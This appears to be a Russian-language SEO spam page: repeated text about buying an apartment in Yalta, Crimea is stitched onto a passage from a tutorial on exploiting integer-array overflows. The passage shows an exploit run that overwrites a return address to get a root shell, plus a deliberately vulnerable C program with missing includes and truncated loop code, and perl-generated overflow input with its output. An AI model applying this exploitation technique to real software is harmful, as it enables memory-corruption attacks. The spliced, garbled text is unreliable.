купить квартиру в ялте крым

купить квартиру в ялте крым

купить квартиру в ялте крым
Ремонт и отделка

и -62 . мы можем использовать тот же самый эксплойт, только с немного другими параметрами: $ [root@localhost /root] ./expl_int_array 0xbffff000 -53 $ * return address: 0xbffff000 $ * command line: ./int_array -53 -1073745919 $ $ filled slot -53 with -1073745919. $ sh-2.04 создадим новый пример уязвимой программы. когда вы переполняетецелочисленные массивы, нужно обращать внимание на наличие циклов впрограмме. в такой ситуации вам возможно придется переписать некоторыелокальные переменные, чтобы добиться нужного результата. например,первая переменная, которую вы перезаписываете - увеличивающиеся илиуменьшающиеся целое число (т.е. i++ или i-- ),указывающее на элемент массива. это ситуация может позволить `прыгнуть`с одного места программы в другое, передав специально подобранноезначение для циклически увеличивающегося/уменьшающегося целого числа,заставив `слот` массива указывать на нужное вам место в памяти. вот пример такой уязвимой программы: int_array2.c: example buggy program. /* int_array2.c: a buggy test program. */ /* syntax: ./int_array2 [value,value,...] */ include include include include char *gettoken(char *,int,unsigned int); void place_int_array(char *); int main(int argc,char **argv){ if(argc!=2) printf("syntax: %s [value,value,...] ",argv[0]); else place_int_array(argv[1]); exit(0); } /* помещение строки в элементы массива */ void place_int_array(char *slot_values){ unsigned int i=0; int array[32]; char *ptr; /* здесь происходит переполнение, нет проверки на выход за границы массива */ while((ptr=gettoken(slot_values,i,`,`))){ array[i]=atoi(ptr); /* будет перезаписано */ printf("placed %d in array slot %u. ",atoi(ptr),i); i++; /* тоже будет переписан. (вначале) */ } return; } /* функция для выборки символов */ char *gettoken(char *string,int i,unsigned int sep){ unsigned int j=0,k=0; char *buf; if(!(buf=(char *)malloc(strlen(string)+1)))exit(1); memset(buf,0x0,(strlen(string)+1)); if(i<0)return(null); else for(j=0;j 0)return(null); return(buf); } int_array2.c: eof. эта программа просто берет каждой переданное число, разделенноезапятыми, и добавляет его в последовательном порядке в массив, безпроверки на выход за его (массива) границу. теперь давайте посмотрим, что мы можем с этим сделать. $ [root@localhost /root] gcc int_array2.c -o int_array2 $ [root@localhost /root] ./int_array2 `perl -e `print"123,"x50``123 $ placed 123 in array slot 0. $ placed 123 in array slot 1. $ placed 123 in array slot 2. $ placed 123 in array slot 3. $ ... $ placed 123 in array slot 32. $ placed 123 in array slot 33. $ placed 123 in array slot 34. $ placed 123 in array slot 123. $ [root@localhost /root] если вы заметили, 35-ый элемент, как и предполагалось, былизменен на наши 123. это означает, что мы можем контролироватьциклически изменяющееся целое число (в данном случае i), как былонаписано ранее.










Related Posts